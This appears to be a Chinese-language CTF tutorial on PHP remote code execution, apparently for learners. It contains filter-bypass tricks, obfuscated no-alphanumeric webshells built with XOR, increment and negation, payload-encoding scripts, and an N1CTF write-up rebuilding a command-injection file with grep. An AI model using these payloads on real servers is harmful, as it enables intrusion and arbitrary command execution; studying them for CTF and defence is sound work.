从0到1,AKRCE之旅
RCE全解
观前提示: 本文章主讲php中的RCE各种方法,Java的RCE我会在未来再写一篇文章
漏洞概述
常见漏洞函数
系统命令执行函数
bash命令
代码执行函数
绕过
空格过滤:
函数过滤:
黑名单绕过:
内联执行
截取环境变量拼接
截取环境变量拼接进阶
无数字字母
利用$
常规
php5
异或
自增
php7
异或
补充
无数字字母进阶
php7
php5
一些特殊题目
路漫漫其修远兮 吾将上下而求索
漏洞概述
在Web应用开发中为了灵活性、简洁性等会让应用调用代码执行函数或系统命令执行函数处理,若应用对用户的输入过滤不严,容易产生远程代码执行漏洞或系统命令执行漏洞;
常见漏洞函数
系统命令执行函数
1 2 3 4 5 6 7 8 system ():能将字符串作为OS命令执行,且返回命令执行结果; exec ():能将字符串作为OS命令执行,但是只返回执行结果的最后一行(约等于无回显); shell_exec ():能将字符串作为OS命令执行 passthru ():能将字符串作为OS命令执行,只调用命令不返回任何结果,但把命令的运行结果原样输出到标准输出设备上; popen ():打开进程文件指针 proc_open ():与popen ()类似 pcntl_exec ():在当前进程空间执行指定程序; 反引号``:反引号``内的字符串会被解析为OS命令
bash命令
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 more:一页一页的显示档案内容 less:与 more 类似 head:查看头几行 tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示 tail:查看尾几行 nl:显示的时候,顺便输出行号 od:以二进制的方式读取档案内容 vi:一种编辑器,这个也可以查看 vim:一种编辑器,这个也可以查看 sort:可以查看 uniq:可以查看 ls:查看目录 dir:查看目录 grep: wget: sed: cut: awk: strings: od: curl: scp: xxd: mv: cp: pwd:
代码执行函数
1 2 3 4 5 6 7 8 eval ():将字符串作为php代码执行; assert ():将字符串作为php代码执行; preg_replace ():正则匹配替换字符串; create_function ():主要创建匿名函数; call_user_func ():回调函数,第一个参数为函数名,第二个参数为函数的参数; call_user_func_array ():回调函数,第一个参数为函数名,第二个参数为函数参数的数组; 可变函数:若变量后有括号,该变量会被当做函数名为变量值(前提是该变量值是存在的函数名)的函数执行;
绕过
空格过滤:
<
<>
%09
%0a
$IFS$9
${IFS}
$IFS
%0d
函数过滤:
1 2 3 4 使用\绕过 如:ca\t fla\g l\s 使用'' 绕过,如: ca'' t /flag
还可以使用通配符,*是匹配所有,比如flag.txt可以使用*.*
来匹配,但是这样无法精确匹配到flag.txt,所以我们可以使用另一个通配符?
,这个可以匹配单个内容,比如????.???
就可以匹配到flag.txt,可以理解为万能字符
黑名单绕过:
1 2 3 4 5 6 7 8 9 10 11 var_dump ()输出变量file_get_contents () 读文件get_defined_vars () 读变量next () 对数组操作array_pop () 弹出数组rename () 重命名eval (var_dump (scandir ('/' );); cat `ls` _被过滤可用'[' 代替 分号过滤使用?> 闭合show_source (next (array_reverse (scandir (pos (localeconv ())))));
1 2 3 4 5 6 7 8 9 $a ='glob:///*' ;$b =opendir ($a );if ($b ){ while (($file =readdir ($b ))!==false ){ echo $file ; } closedir ($b ); }exit ();
1 2 变量覆盖: ?rce=eval ($_GET [1 ]);&1 =phpinfo ();
内联执行
echo ls
echo ${ls}
相当于把ls的结果使用echo输出
截取环境变量拼接
当所有函数都被过滤时,利用/var/www/html
和/bin/sh
构造函数绕过,如ls,nl
${PATH:~0}
代表取环境变量最后一位,在/binzhon中就是’n’,${PWD:~0}
代表取系统变量最后一位,在/var/www/html中就是l,这样即可构造出nl
截取环境变量拼接进阶
在php中有一个系统变量 PHP_CFLAGS=-fstack-protectcor-strong-fpic-fpie-o2-D_LARGEFILE_SOURCE -D_FI LE_OFFSET_BITS=64
还可以利用php的版本号,例如7.3.22 中的3来构造tac
1 ${ PHP_CFLAGS : ${ PHP_VERSION : ${ PHP_VERSION :~A }:~ ${ SHLVL }}: ${ PHP_VERS ION : ${ PHP_VERSION :~A }:~ ${ SHLVL }}}
其中${PHP_VERSION:${PHP_VERSION:~A}
代表3,所以等于${PHP_CFLAGS:3:3}
也就是tac
还有另外一种比较特别的思路,构造/和t,然后使用通配符构造/bin/cat
这里不知道为什么放不出来,只能贴图了
虽然大部分情况下以上内容足够完成题目,但若出现无数字字母的RCE题目就要看下面的了
无数字字母
对于一些基础的无数字字母RCE,可以使用探姬大佬的工具bashfuck
利用$
在只限制了字母数字的情况下,我们可以利用shell脚本中$
的各种用法
变量名
含义
$0
脚本本身的名字
$1
脚本后所输入的第一串字符
$2
传递给该shell脚本的第二个参数
$*
脚本后所输入的所有字符’westos’ ‘linux’ ‘lyq’
$@
脚本后所输入的所有字符’westos’ ‘linux’ ‘lyq’
$_
表示上一个命令的最后一个参数
$#
#脚本后所输入的字符串个数
$$
脚本运行的当前进程ID号
$!
表示最后执行的后台命令的PID
$?
显示最后命令的退出状态,0表示没有错误,其他表示由错误
Linux变量$_
,它存储着上次程序传入的参数,比如执行echo can you get the file of tmp命令后,再执行echo $_
,发现结果是tmp。
由此有大佬出来一个题目,因为要使用报错信息回显,所以加上了2>&1,预期解是?command=. /$_
原理就是用点号+空格+文件名执行一个可执行文件,等效于source可执行文件,然后我们前面echo了一次flag,flag作为了最后一个参数,因此可以用$_代替这个flag,但又因为我们这个flag不是可执行文件,因此linux就会报错,然后打印并输出这个文件里的内容,类似于用date -f越权读文件一样
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php if (isset ($_GET ['command' ])){ $command = $_GET ['command' ]; if (strlen ($command )>5 ){ die ("Too Long!" ); } if (preg_match ("/[A-Za-z0-9]+/" ,$command )){ die ("No letters or numbers!" ); } eval (system ("echo you are not able to get flag;$command 2>&1" )); }else { highlight_file (__FILE__ ); } ?>
常规
转载p牛的文章一些不包含数字和字母的webshell
1 2 3 4 <?php if (!preg_match ('/[a-z0-9]/is' ,$_GET ['shell' ])) { eval ($_GET ['shell' ]); }
题目是这样的,非常经典的无数字字母rce,思路是要利用各种符号构造字符然后拼接函数实现rce,但php5与7中assert()函数是有区别的,在php5中,assert是一个函数,我们可以通过$f='assert';$f(phpinfo());
这样的方法来动态执行任意代码。
但php7中,assert不再是函数,变成了一个语言结构(类似eval),不能再作为函数名动态执行代码,所以利用起来稍微复杂一点。但也无需过于担心,比如我们利用file_put_contents函数,同样可以用来getshell。
在p牛的文章中,他使用php5作为环境,但在我们的文章中,就必须两个同时写出(也是记录自己学习的过程)
php5
异或
使用异或构造assert,例如
1 2 3 4 5 <?php $_ =('%01' ^'`' ).('%13' ^'`' ).('%13' ^'`' ).('%05' ^'`' ).('%12' ^'`' ).('%14' ^'`' ); $__ ='_' .('%0D' ^']' ).('%2F' ^'`' ).('%0E' ^']' ).('%09' ^']' ); $___ =$$__ ;$_ ($___ [_]);
这里放个自己写的遍历脚本,要哪个字符输入即可(可遍历所有字符)(看了大佬的文章就想要是一个个找字符也太慢了,于是就写了个脚本)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?php $input = readline (" 请输入字符: " );for ($i = 0 ; $i < strlen ($input ); $i ++) { for ($a =0 ; $a <= 15 ; $a ++){ for ($b =0 ; $b <= 15 ; $b ++){ $current_char = $input [$i ]; $c = '%' . dechex ($a ) . dechex ($b ); $decoded = urldecode ('' .$c .'' ); $decoded_ascii = ord ($decoded ); $backtick_ascii = ord ('`' ); $result = $decoded_ascii ^ $backtick_ascii ; if (chr ($result ) == $current_char ) { echo "$current_char ===> $c \n" ; continue ; } } } }?>
自增
关于不使用位运算的方法,取反没写是没看懂QAQ
这就得借助PHP的一个小技巧,先看文档:
http://php.net/manual/zh/language.operators.increment.php
也就是说,‘a’++ => ‘b’,‘b’++ => ‘c’… 所以,我们只要能拿到一个变量,其值为a,通过自增操作即可获得a-z中所有字符。那么,如何拿到一个值为字符串’a’的变量呢?
巧了,数组(Array)的第一个字母就是大写A,而且第4个字母是小写a。也就是说,我们可以同时拿到小写和大写A,等于我们就可以拿到a-z和A-Z的所有字母。
在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为Array
再取这个字符串的第一个字母,就可以获得’A’了。利用这个技巧,编写如下webshell(因为PHP函数是大小写不敏感的,所以我们最终执行的是ASSERT($_POST[_])
,无需获取小写a):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 <?php $_ =[];$_ =@"$_ " ; $_ =$_ ['!' =='@' ]; $___ =$_ ; $__ =$_ ;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$___ .=$__ ; $___ .=$__ ; $__ =$_ ;$__ ++;$__ ++;$__ ++;$__ ++; $___ .=$__ ;$__ =$_ ;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++; $___ .=$__ ;$__ =$_ ;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++; $___ .=$__ ;$____ ='_' ;$__ =$_ ;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++; $____ .=$__ ;$__ =$_ ;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++; $____ .=$__ ;$__ =$_ ;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++; $____ .=$__ ;$__ =$_ ;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++; $____ .=$__ ;$_ =$$____ ;$___ ($_ [_]);
php7
在php7中…
不是都php7了为什么不看下面无数字字母进阶里的一行极简写法,一个非常简单的取反解法,而且基本通杀,为什么还要研究这个又费劲限制又大的东西呢
开玩笑,该写还是得写的,喜欢用哪个自己选哈
php5中有用assert动态执行的方法,但php7中没有了,而是使用($a)();
这类代码动态执行函数,p牛在文章中举例可以利用file_put_contents函数getshell,这是一个能写入文件的函数,所以我们可以利用这个构造一个shell文件
异或
1 2 3 4 5 6 7 8 9 10 <?php $_ =('%06' ^'`' ).('%09' ^'`' ).('%0c' ^'`' ).('%05' ^'`' ).'_' .('%10' ^'`' ).('%15' ^'`' ).('%14' ^'`' ).'_' .('%03' ^'`' ).('%0f' ^'`' ).('%0e' ^'`' ).('%14' ^'`' ).('%05' ^'`' ).('%0e' ^'`' ).('%14' ^'`' ).('%13' ^'`' );$__ =('%12' ^'`' ).('%03' ^'`' ).('%05' ^'`' ).'.' .('%10' ^'`' ).('%08' ^'`' ).('%10' ^'`' );$___ =('%10' ^'`' ).('%08' ^'`' ).('%10' ^'`' ).('%09' ^'`' ).('%0e' ^'`' ).('%06' ^'`' ).('%0f' ^'`' );$____ =$_ ($__ ,$___ ());?>
成功!
补充
来自: https://www.freebuf.com/articles/network/279563.html
这里还需要介绍一种特殊的方法,无版本限制,因为本质是用异或构造_GET
然后传参rce
当 ;
被过滤时,还可以使用短标签绕过
不知道为什么放不出来代码,只能用图片了
无数字字母进阶
关于进阶版,依然还是要推荐p牛的文章,本文章也就是用自己的话重复了一遍p牛的文章而已 无字母数字webshell之提高篇
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php if (isset ($_GET ['code' ])){ $code = $_GET ['code' ]; if (strlen ($code )>35 ){ die ("Long." ); } if (preg_match ("/[A-Za-z0-9_$]+/" ,$code )){ die ("NO." ); } eval ($code ); }else { highlight_file (__FILE__ ); }
题目如上,_
和$
被过滤了,而且限制长度,所以显然,上面的异或等需要使用$和_的payload用不了了,只能使用一些奇技淫巧。
php7
首先来说简单的,在php7中,可以利用($a)();
这类的payload执行动态函数。
所以只需要构造一个取反后为命令的payload即可, 例如phpinfo
取反后为%8F%97%8F%96%91%99%90
, 那么payload为(~%8F%97%8F%96%91%99%90)();
即可执行phpinfo()。
而如果要执行system, 则只需要在第一个括号中输入system取反, 第二个括号中输入system命令即可, 比如system(ipconfig)
的payload为(~%8C%86%8C%8B%9A%92)(~%96%8F%9C%90%91%99%96%98);
这里也挂一个脚本方便转换,不可见字符进行了url编码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 import urllib.parsedef construct_string (): target_string = input ("请输入要转换的字符: " ) target_bytes = bytes (target_string, 'latin1' ) inverted_bytes = bytes (~byte & 0xff for byte in target_bytes) inverted_string = inverted_bytes.decode('latin1' , errors='replace' ) encoded_string = '' .join(urllib.parse.quote(char) if char not in ' \t\n\r\f\v' else char for char in inverted_string) encoded_string = encoded_string.replace('%C2' , '' ) return encoded_stringdef main (): constructed_string = construct_string() print ("result:" , constructed_string)if __name__ == "__main__" : main()
php5
在php5中,并没有php7中那种表达方式,因此上面的payload并不可以.
在Linux中,有两个关于shell的知识点:
shell下可以利用.
来执行任意脚本
Linux文件名支持用glob通配符代替
. 的作用与source一样,就是用当前shell执行一个文件,那么如果服务器上有一个我们可控的文件,就可以使用.getshell了。这个文件也很好得到,我们可以发送一个上传文件的POST包,此时PHP会将我们上传的文件保存在临时文件夹下,默认的文件名是/tmp/phpXXXXXX,文件名最后6个字符是随机的大小写字母。但若要执行这个文件,也需要字母,所以这时候就需要用到glob通配符了。但我们如果执行. /???/?????????
,便会出现错误
原因是匹配到的文件太多了,因此在执行第一个文件时就会报错,所以我们必须匹配到/tmp/phpxxxxxx这个文件。
上传一个文件我们可以发现,文件名是含有大小写的,而刚才ls出来的文件并没有大写的,所以我们可以根据大写字母来下手,使用通配符匹配大写即可,翻开ascii表,可见大写字母位于@
和[
之间,因此我们可以使用[@-[]
来匹配大写字符。
可以匹配成功。
因此我们发包传文件然后在code中输入payload即可
1 ?c ode=?> <?= `. /???/????????[@-[]` ;?>
如果@被过滤,可以使用它前面的:;<=>?
这几个来进行绕过虽然最后一个不一定是大写字母,但是多试几次就可以了
一些特殊题目
题目:2024 N1CTF 中web方向解题最多的zako(php)
大佬博客 2024 N1CTF Junior Web Writeup
以我这种小菜鸡的实力肯定是解不出来了,赛后看了Boogipop大神(ak了)的wp发现了这个有趣的解法,决定将它写在我的这篇文章中题目内容: 一个sh脚本,设置了白名单,只有两个函数能用ls
和grep
还有一个黑名单,过滤了;&$(){}[]!@#$%^&*-
和反引号(没法打这里了)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php highlight_string (shell_exec ("cat " .__FILE__ ." | grep -v preg_match | grep -v highlight" ));$cmd = $_REQUEST ["__secret.xswl.io" ];if (strlen ($cmd )>70 ) { die ("no, >70" ); }if (preg_match ("/('|`|\n|\t|\\\$|~|@|#|;|&|\\||-|_|\\=|\\*|!|\\%|\\\^|index|execute')/is" ,$cmd )){ die ("你就不能绕一下喵" ); }system ("./execute.sh '" .$cmd ."'" );?>
这里有两层waf,一个是php里的,一个在shell中,因此,大佬选择利用grep构造一个php文件绕过
1 2 3 4 <?php $cmd = $_REQUEST ["__secret.xswl.io" ];system ("./execute.sh '" .$cmd ."'" );?>
依次输入命令:
1 2 3 grep "<?php" inde?.php >> pop.php grep "cmd" inde?.php >> pop.php grep "system" inde?.php >> pop.php
然后读取一下pop.php即可了最终在pop.php中payload为ls';cat /flag'
,第一个'
闭合了.execute.sh
,然后使用;
拼接命令,最终用最后一个'
闭合最后的单引号原理解析: 第一行命令grep "<?php" inde?.php >> pop.php
将index.php中带有<?php
的一行写入pop.php中,
第二行命令将带有cmd的一行,即$cmd = $_REQUEST["__secret.xswl.io"];
写入,最后用第三行将system("./execute.sh '".$cmd."'");
写入完成RCE。
路漫漫其修远兮 吾将上下而求索
无数字字母这一块基本都是转载的p神的文章(惭愧),也是从p神的文章中学到了很多知识,这里还是必须推一下p牛的博客,篇篇文章都是知识啊
p神的博客
通过自己写了这篇文章之后,自己以后再遇到rce题就会有一个基本思路了,这几天在学校也净思考RCE这一块东西了,自己关于p神的博客整了几个脚本,对于自己的项目应该还是能有点帮助从0到1,RCEmap开发之旅
还有Boogipop爷的思路,非常有趣,利用grep将给出题目的源码写入另一个文件中以绕过index.php中的过滤,学习到了。大B哥的博客
我知道这篇文章没有写全所有的RCE的内容,但是php中的RCE题目差不多就是这些了,本人还很菜,没有一些深刻的理解,如有错误的地方,请多多指正。